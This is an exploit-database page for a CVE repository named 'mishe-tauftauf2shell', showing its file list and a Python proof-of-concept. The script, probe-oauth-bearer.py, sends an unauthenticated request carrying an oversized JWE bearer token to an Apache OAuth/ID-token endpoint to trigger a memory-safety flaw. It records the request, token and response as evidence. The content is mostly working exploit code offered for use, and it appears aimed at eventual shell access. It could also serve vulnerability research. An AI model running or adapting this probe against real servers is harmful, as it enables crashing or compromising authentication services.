Exploit databaseDownload repository ZIP
GH-77b084c651f84d76fe59d880f4600f96
genaforvena/mishe-tauftauf2shell
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files36
genaforvena/mishe-tauftauf2shellRevision 9edba631cfcf
- ↑..Parent directory
- evidence/
- pkgconfig/
- pkgconfig-fixed/
- w215/
- w217/
- w219/
- README.md
- apache-idtoken-fixed.conf
- apache-idtoken-vulncontrol.conf
- apache-idtoken.conf
- apache-oauth-bearer-fixed.conf
- apache-oauth-bearer.conf
- apache.conf
- build.sh
- fixed-control-run.sh
- follow-idtoken.py
- gdb-attach.cmd
- gdb-cek-provenance.cmd
- gdb-idtoken-abort.cmd
- gdb-idtoken-chosen.cmd
- gdb-idtoken-fixed.cmd
- gdb-idtoken-scan.cmd
- gdb-idtoken-vulncontrol.cmd
- gdb-idtoken-wide.cmd
- gdb-idtoken.cmd
- gdb-oauth-bearer-chosen.cmd
- gdb-oauth-bearer-fixed.cmd
- gdb-oauth-bearer.cmd
- gdb.cmd
- probe-idtoken-chosen.py
- probe-idtoken-scan.py
- probe-idtoken-wide.py
- probe-idtoken.py
- probe-oauth-bearer.py
- probe.py
- run-oauth-bearer.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/frontier/cjose2shell/w2/probe-oauth-bearer.py
Python · 1,663 bytes#!/usr/bin/env python3
"""Send unauthenticated loopback GETs with an oversized A128KW compact JWE bearer token."""
import os
import socket
import sys
from probe import token
HOST = "127.0.0.1"
PORT = int(os.environ.get("W2_PORT", "18444"))
TAG = os.environ.get("W2_TAG", "oauth-bearer")
EVIDENCE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "evidence")
KEK_HEX = os.environ.get("W2_KEK")
def main():
ek_len = int(sys.argv[1]) if len(sys.argv) > 1 else 56
if KEK_HEX:
kek = bytes.fromhex(KEK_HEX)
tok = token(ek_len, kek=kek, plaintext=(b"MISHE-W212-" * 5)[:ek_len - 8])
else:
tok = token(ek_len)
req = (
b"GET /private HTTP/1.1\r\n"
b"Host: 127.0.0.1:" + str(PORT).encode() + b"\r\n"
b"User-Agent: w2-oauth-bearer-probe\r\n"
b"Authorization: Bearer " + tok.encode("ascii") + b"\r\n"
b"Connection: close\r\n\r\n"
)
tag = TAG + "-" + str(ek_len)
with open(os.path.join(EVIDENCE, tag + "-request.bin"), "wb") as f:
f.write(req)
with open(os.path.join(EVIDENCE, tag + "-token.txt"), "w") as f:
f.write(tok + "\n")
with socket.create_connection((HOST, PORT), timeout=10) as s:
s.sendall(req)
chunks = []
while True:
data = s.recv(4096)
if not data:
break
chunks.append(data)
resp = b"".join(chunks)
with open(os.path.join(EVIDENCE, tag + "-response.bin"), "wb") as f:
f.write(resp)
print("SCENARIO=%s EK_RAW_LEN=%d TOKEN_LEN=%d" % (tag, ek_len, len(tok)))
print("RESPONSE=" + repr(resp[:200]))
if __name__ == "__main__":
main()